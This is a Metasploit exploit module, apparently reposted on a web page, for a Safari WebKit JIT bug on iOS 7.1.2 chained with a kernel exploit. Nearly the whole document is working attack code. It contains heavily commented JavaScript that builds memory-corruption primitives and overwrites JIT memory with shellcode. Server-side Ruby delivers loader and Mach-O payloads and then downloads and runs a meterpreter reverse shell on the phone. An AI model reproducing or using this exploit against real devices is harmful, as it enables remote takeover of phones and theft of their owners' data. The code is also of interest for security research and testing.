Safari Webkit For iOS 7.1.2 JIT Optimization Bug

This Metasploit module exploits a JIT optimization bug in Safari Webkit. This allows us to write shellcode to an RWX memory section in JavaScriptCore and execute it. The shellcode contains a kernel exploit (CVE-2016-4669) that obtains kernel rw, obtains root and disables code signing. Finally we download and execute the meterpreter payload. This module has been tested against iOS 7.1.2 on an iPhone 4.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Post::File
  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Safari Webkit JIT Exploit for iOS 7.1.2',
        'Description' => %q{
          This module exploits a JIT optimization bug in Safari Webkit. This allows us to
          write shellcode to an RWX memory section in JavaScriptCore and execute it. The
          shellcode contains a kernel exploit (CVE-2016-4669) that obtains kernel rw,
          obtains root and disables code signing. Finally we download and execute the
          meterpreter payload.
          This module has been tested against iOS 7.1.2 on an iPhone 4.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'kudima', # ishell
          'Ian Beer', # CVE-2016-4669
          'WanderingGlitch', # CVE-2018-4162
          'timwr', # metasploit integration
        ],
        'References' => [
          ['CVE', '2016-4669'],
          ['CVE', '2018-4162'],
          ['URL', 'https://github.com/kudima/exploit_playground/tree/master/iPhone3_1_shell'],
          ['URL', 'https://www.thezdi.com/blog/2018/4/12/inverting-your-assumptions-a-guide-to-jit-comparisons'],
          ['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=882'],
        ],
        'Arch' => ARCH_ARMLE,
        'Platform' => 'apple_ios',
        'DefaultTarget' => 0,
        'DefaultOptions' => { 'PAYLOAD' => 'apple_ios/armle/meterpreter_reverse_tcp' },
        'Targets' => [[ 'Automatic', {} ]],
        'DisclosureDate' => 'Aug 25 2016'
      )
    )
    register_options(
      [
        OptPort.new('SRVPORT', [ true, 'The local port to listen on.', 8080 ]),
        OptString.new('URIPATH', [ true, 'The URI to use for this exploit.', '/' ])
      ]
    )
    register_advanced_options([
      OptBool.new('DEBUG_EXPLOIT', [false, "Show debug information during exploitation", false]),
    ])
  end

  def exploit_js
    <<~JS
      //
      // Initial notes.
      //
      // If we look at publicly available exploits for this kind of
      // issues [2], [3] on 64-bit systems, they rely on that JavaScriptCore
      // differently interprets the content of arrays based on
      // their type, besides object pointers and 64-bit doubles may have
      // the same representation.
      //
      // This is not the case for 32-bit version of JavaScriptCore.
      // The details are in runtime/JSCJSValue.h. All JSValues are still
      // 64-bit, but for the cells representing objects
      // the high 32-bit are always 0xfffffffb (since we only need 32-bit
      // to represent a pointer), meaning cell is always a NaN in IEEE754
      // representation used for doubles and it is not possible to confuse
      // an cell and a IEEE754 encoded double value.
      //
      // Another difference is how the cells are represented
      // in the version of JavaScriptCore by iOS 7.1.2.
      // The type of the cell object is determined by m_structure member
      // at offset 0 which is a pointer to Structure object.
      // On 64-bit systems, at the time [2], [3]
      // were published, a 32-bit integer value was used as a structure id.
      // And it was possible to deterministically predict that id for
      // specific object layout.
      //
      // The exploit outline.
      //
      // Let's give a high level description of the steps taken by the
      // exploit to get to arbitrary code execution.
      //
      // 1. We use side effect bug to overwrite butterfly header by confusing
      // Double array with ArrayStorage and obtain out of bound (oob) read/write
      // into array butterflies allocation area.
      //
      // 2. Use oob read/write to build addrOf/materialize object primitives,
      // by overlapping ArrayStorage length with object pointer part of a cell
      // stored in Contiguous array.
      //
      // 3. Craft a fake Number object in order to leak real object structure
      // pointer via a runtime function.
      //
      // 4. Use leaked structure pointer to build a fake fake object allowing
      // as read/write access to a Uint32Array object to obtain arbitrary read/write.
      //
      // 5. We overwrite rwx memory used for jit code and redirect execution
      // to that memory using our arbitrary read/write.

      function main(loader, macho) {

        // auxillary arrays to facilitate
        // 64-bit floats to pointers conversion
        var ab  = new ArrayBuffer(8)
        var u32 = new Uint32Array(ab);
        var f64 = new Float64Array(ab);

        function toF64(hi, lo) {
          u32[0] = hi;
          u32[1] = lo;
          return f64[0];
        }

        function toHILO(f) {
          f64[0] = f;
          return [u32[0], u32[1]]
        }

        function printF64(f) {
          var u32 = toHILO(f);
          return (u32[0].toString(16) + " " + u32[1].toString(16));
        }

        // arr is an object with a butterfly
        //
        // cmp is an object we compare with
        //
        // v is a value assigned to an indexed property,
        // gives as ability to change the butterfly
        function oob_write(arr, cmp, v, i) {
          arr[0] = 1.1;
          // place a comparison with an object,
          // incorrectly modeled as side effects free
          cmp == 1;
          // if i less then the butterfly length,
          // it simply writes the value, otherwise
          // bails to baseline jit, which is going to
          // handle the write via a slow path.
          arr[i] = v;
          return arr[0];
        }

        function make_oob_array() {

          var oob_array;

          // allocate an object
          var arr = {};
          arr.p = 1.1;
          // allocate butterfly of size 0x38,
          // 8 bytes header and 6 elements. To get the size
          // we create an array and inspect its memory
          // in jsc command line interpreter.
          arr[0] = 1.1;

          // toString is triggered during comparison,
          var x = {toString: function () {
              // convert the butterfly into an
              // array storage with two values,
              // initial 1.1 64-bit at 0 is going to be placed
              // to m_vector and value at 1000 is placed into
              // the m_sparceMap
              arr[1000] = 2.2;
              // allocate a new butterfly right after
              // our ArrayStorage. The butterflies are
              // allocated continuously regardless
              // of the size. For the array we
              // get 0x28 bytes, header and 4 elements.
              oob_array = [1.1];
              return '1';
            }
          };

          // ArrayStorage buttefly--+
          //                        |
          //                        V
          //-8       -4             0             4
          //  | pub length | length | m_sparceMap |  m_indexBias |
          //
          // 8                    0xc        0x10
          // | m_numValuesInVector | m_padding | m_vector[0]
          //
          //0x18         0x20        0x28
          // | m_vector[1] | m_vector[2] | m_vector[3]  |
          //
          //              oob_array butterfly
          //                       |
          //                       V
          //0x30     0x34         0x38   0x40     0x48      0x50
          // | pub length | length |  el0 |   el1   |   el2   |
          //

          // We enter the function with arr butterfly
          // backed up by a regular butterfly, during the side effect
          // in toString method we turn it into an ArrayStorage,
          // and allocate a butterfly right after it. So we
          // hopefully get memory layout as on the diagram above.
          //
          // The compiled code for oob_write, being not aware of the
          // shape change, is going to compare 6 to the ArrayStorage
          // length (which we set to 1000 in toString) and proceed
          // to to write at index 6 relative to ArrayStorage butterfly,
          // overwriting the oob_array butterfly header with 64-bit float
          // encoded as 0x0000100000001000. Which gives as ability to write
          // out of bounds of oob_array up to 0x1000 bytes, hence
          // the name oob_array.

          var o = oob_write(arr, x, toF64(0x1000, 0x1000), 6);

          return oob_array;
        }

        // returns address of an object
        function addrOf(o) {
          // overwrite ArrayStorage public length
          // with the object pointer
          oob_array[4] = o;
          // retrieve the address as ArrayStorage
          // butterfly public length
          var r = oobStorage.length;
          return r;
        }

        function materialize(addr) {
          // replace ArrayStorage public length
          oobStorage.length = addr;
          // retrieve the placed address
          // as an object
          return oob_array[4];
        }

        function read32(addr) {
          var lohi = toHILO(rw0Master.rw0_f2);
          // replace m_buffer with our address
          rw0Master.rw0_f2 = toF64(lohi[0], addr);
          var ret = u32rw[0];
          // restore
          rw0Master.rw0_f2 = toF64(lohi[0], lohi[1]);
          return ret;
        }

        function write32(addr, v) {
          var lohi = toHILO(rw0Master.rw0_f2);
          rw0Master.rw0_f2 = toF64(lohi[0], addr);
          // for some reason if we don't do this
          // and the value is negative as a signed int ( > 0x80000000)
          // it takes base from a different place
          u32rw[0] = v & 0xffffffff;
          rw0Master.rw0_f2 = toF64(lohi[0], lohi[1]);
        }

        function testRW32() {
          var o = [1.1];

          print("--------------- testrw32 -------------");
          print("len: " + o.length);

          var bfly = read32(addrOf(o)+4);
          print("bfly: " + bfly.toString(16));

          var len = read32(bfly-8);
          print("bfly len: " + len.toString(16));
          write32(bfly - 8, 0x10);
          var ret = o.length == 0x10;
          print("len: " + o.length);
          write32(bfly - 8, 1);
          print("--------------- testrw32 -------------");
          return ret;
        }

        // dump @len dword
        function dumpAddr(addr, len) {
          var output = 'addr: ' + addr.toString(16) + "\\n";
          for (var i=0; i<len; i++) {
            output += read32(addr + i*4).toString(16) + " ";
            if ((i+1) % 2 == 0) {
              output += "\\n";
            }
          }
          return output;
        }

        // prepare the function we are going to
        // use to run our macho loader
        exec_code = "var o = {};";
        for (var i=0; i<200; i++) {
          exec_code += "o.p = 1.1;";
        }
        exec_code += "if (v) alert('exec');";

        var exec = new Function('v', exec_code);

        // force JavaScriptCore to generate jit code
        // for the function
        for (var i=0; i<1000; i++)
          exec();

        // create an object with a Double array butterfly
        var arr = {};
        arr.p = 1.1;
        arr[0] = 1.1;

        // force DFG optimization for oob_write function,
        // with a write beyond the allocated storage
        for (var i=0; i<10000; i++) {
          oob_write(arr, {}, 1.1, 1);
        }

        // prepare a double array which we are going to turn
        // into an ArrayStorage later on.
        var oobStorage = [];
        oobStorage[0] = 1.1;

        // create an array with oob read/write
        // relative to its butterfly
        var oob_array = make_oob_array();
        // Allocate an ArrayStorage after oob_array butterfly.
        oobStorage[1000] = 2.2;

        // convert into Contiguous storage, so we can materialize
        // objects
        oob_array[4] = {};

        // allocate two objects with seven inline properties one after another,
        // for fake object crafting
        var oo = [];
        for (var i=0; i<0x10; i++) {
          o = {p1:1.1, p2:2.2, p3:1.1, p4:1.1, p5:1.1, p6:1.1, p7:toF64(0x4141, i )};
          oo.push(o);
        }

        // for some reason if we just do
        //var structLeaker = {p1:1.1, p2:2.2, p3:1.1, p4:1.1, p5:1.1, p6:1.1, p7:1.1};
        //var fakeObjStore = {p1:1.1, p2:2.2, p3:1.1, p4:1.1, p5:1.1, p6:1.1, p7:1.1};
        // the objects just get some random addressed far apart, and we need
        // them allocated one after another.

        var fakeObjStore = oo.pop();
        // we are going to leak Structure pointer for this object
        var structLeaker = oo.pop();

        // eventually we want to use it for read/write into typed array,
        // and typed array is 0x18 bytes from our experiments.
        // To cover all 0x18 bytes, we add four out of line properties
        // to the structure we want to leak.
        structLeaker.rw0_f1 = 1.1;
        structLeaker.rw0_f2 = 1.1;
        structLeaker.rw0_f3 = 1.1;
        structLeaker.rw0_f4 = 1.1;

        print("fakeObjStoreAddr: " + addrOf(fakeObjStore).toString(16));
        print("structLeaker: " + addrOf(structLeaker).toString(16));

        var fakeObjStoreAddr = addrOf(fakeObjStore)
        // m_typeInfo offset within a Structure class is 0x34
        // m_typeInfo = {m_type = 0x15, m_flags = 0x80, m_flags2 = 0x0}
        // for Number

        // we want to achieve the following layout for fakeObjStore
        //
        // 0        8       0x10      0x18    0x20    0x28    0x30
        // |  1.1   |   1.1   | 1.1    |  1.1  |  1.1   |  1.1 |
        //
        // 0x30              0x34        0x38     0x40
        // | fakeObjStoreAddr  | 0x00008015 |  1.1    |
        //
        // we materialize fakeObjStoreAddr + 0x30 as an object,
        // As we can see the Structure pointer points back to fakeObjStore,
        // which is acting as a structure for our object. In that fake
        // structure object we craft m_typeInfo as if it was a Number object.
        // At offset +0x34 the Structure objects have m_typeInfo member indicating
        // the object type.
        // For number it is m_typeInfo = {m_type = 0x15, m_flags = 0x80, m_flags2 = 0x0}
        // So we place that value at offset 0x34 relative to the fakeObjStore start.
        fakeObjStore.p6 = toF64(fakeObjStoreAddr, 0x008015);
        var fakeNumber = materialize(fakeObjStoreAddr + 0x30);

        // We call a runtime function valueOf on Number, which only verifies
        // that m_typeInfo field describes a Number object. Then it reads
        // and returns 64-bit float value at object address + 0x10.
        //
        // In our seven properties object, it's
        // going to be a 64-bit word located right after last property. Since
        // we have arranged another seven properties object to be placed right
        // after fakeObjStore, we are going to get first 8 bytes of
        // that cell object which has the following layout.
        // 0     4         8
        // | m_structure | m_butterfly |
        var val = Number.prototype.valueOf.call(fakeNumber);

        // get lower 32-bit of a 64-bit float, which is a structure pointer.
        var _7pStructAddr = toHILO(val)[1];
        print("struct addr: " + _7pStructAddr.toString(16));

        // now we are going to use the structure to craft an object
        // with properties allowing as read/write access to Uint32Array.

        var aabb = new ArrayBuffer(0x20);

        // Uint32Array is 0x18 bytes,
        // + 0xc  m_impl
        // + 0x10 m_storageLength
        // + 0x14 m_storage
        var u32rw = new Uint32Array(aabb, 4);

        // Create a fake object with the structure we leaked before.
        // So we can r/w to Uint32Array via out of line properties.
        // The ool properties are placed before the butterfly header,
        // so we point our fake object butterfly to Uint32Array + 0x28,
        // to cover first 0x20 bytes via four out of line properties we added earlier
        var objRW0Store = {p1:toF64(_7pStructAddr,  addrOf(u32rw) + 0x28), p2:1.1};

        // materialize whatever we put in the first inline property as an object
        var rw0Master = materialize(addrOf(objRW0Store) + 8);

        // magic
        var o = {p1: 1.1, p2: 1.1, p3: 1.1, p4: 1.1};
        for (var i=0; i<8; i++) {
          read32(addrOf(o));
          write32(addrOf(o)+8, 0);
        }

        //testRW32();
        // JSFunction->m_executable
        var m_executable = read32(addrOf(exec)+0xc);

        // m_executable->m_jitCodeForCall
        var jitCodeForCall = read32(m_executable + 0x14) - 1;
        print("jit code pointer: " + jitCodeForCall.toString(16));

        // Get JSCell::destroy pointer, and pass it
        // to the code we are going to execute as an argument
        var n = new Number(1.1);
        var struct = read32(addrOf(n));
        // read methodTable
        var classInfo = read32(struct + 0x20);
        // read JSCell::destroy
        var JSCell_destroy = read32(classInfo + 0x10);

        print("JSCell_destroy: " + JSCell_destroy.toString(16));

        // overwrite jit code of exec function
        for (var i=0; i<loader.length; i++) {
          var x = loader[i];
          write32(jitCodeForCall+i*4, x);
        }

        // pass JSCell::destroy pointer and
        // the macho file as arguments to our
        // macho file loader, so it can get dylib cache slide
        var nextBuf = read32(addrOf(macho) + 0x14);
        // we pass parameters to the loader as a list of 32-bit words
        // places right before the start
        write32(jitCodeForCall-4, JSCell_destroy);
        write32(jitCodeForCall-8, nextBuf);
        print("nextBuf: " + nextBuf.toString(16));
        // start our macho loader
        print("executing macho...");
        exec(true);
        print("exec returned");
        return;
      }

      try {
        function asciiToUint8Array(str) {

          var len = Math.floor((str.length + 4)/4) * 4;
          var bytes = new Uint8Array(len);

          for (var i=0; i<str.length; i++) {
            var code = str.charCodeAt(i);
            bytes[i] = code & 0xff;
          }

          return bytes;
        }

        // loads base64 encoded payload from the server and converts
        // it into a Uint32Array
        function loadAsUint32Array(path) {
          var xhttp = new XMLHttpRequest();
          xhttp.open("GET", path+"?cache=" + new Date().getTime(), false);
          xhttp.send();
          var payload = atob(xhttp.response);
          payload = asciiToUint8Array(payload);
          return new Uint32Array(payload.buffer);
        }

        var loader = loadAsUint32Array("loader.b64");
        var macho = loadAsUint32Array("macho.b64");
        setTimeout(function() {main(loader, macho);}, 50);
      } catch (e) {
        print(e + "\\n" + e.stack);
      }
    JS
  end

  def on_request_uri(cli, request)
    if datastore['DEBUG_EXPLOIT'] && request.uri =~ %r{/print$*}
      print_status("[*] #{request.body}")
      send_response(cli, '')
      return
    end

    print_status("Request #{request.uri} from #{request['User-Agent']}")
    if request.uri.starts_with? '/loader.b64'
      loader_data = exploit_data('CVE-2016-4669', 'loader')
      loader_data = Rex::Text.encode_base64(loader_data)
      send_response(cli, loader_data, { 'Content-Type' => 'application/octet-stream' })
      return
    elsif request.uri.starts_with? '/macho.b64'
      loader_data = exploit_data('CVE-2016-4669', 'macho')
      payload_url = "http://#{Rex::Socket.source_address('1.2.3.4')}:#{srvport}/payload"
      payload_url_index = loader_data.index('PAYLOAD_URL_PLACEHOLDER')
      loader_data[payload_url_index, payload_url.length] = payload_url
      loader_data = Rex::Text.encode_base64(loader_data)
      send_response(cli, loader_data, { 'Content-Type' => 'application/octet-stream' })
      return
    elsif request.uri.starts_with? '/payload'
      print_good('Target is vulnerable, sending payload!')
      send_response(cli, payload.raw, { 'Content-Type' => 'application/octet-stream' })
      return
    end

    jscript = exploit_js
    if datastore['DEBUG_EXPLOIT']
      debugjs = %Q^
print = function(arg) {
  var request = new XMLHttpRequest();
  request.open("POST", "/print", false);
  request.send("" + arg);
};
^
      jscript = "#{debugjs}#{jscript}"
    else
      jscript.gsub!(/\/\/.*$/, '') # strip comments
      jscript.gsub!(/^\s*print\s*\(.*?\);\s*$/, '') # strip print(*);
    end

    html = <<~HTML
      <html>
      <body>
      <script>
      #{jscript}
      </script>
      </body>
      </html>
    HTML

    send_response(cli, html, { 'Content-Type' => 'text/html', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0' })
  end

end
Please follow and like us: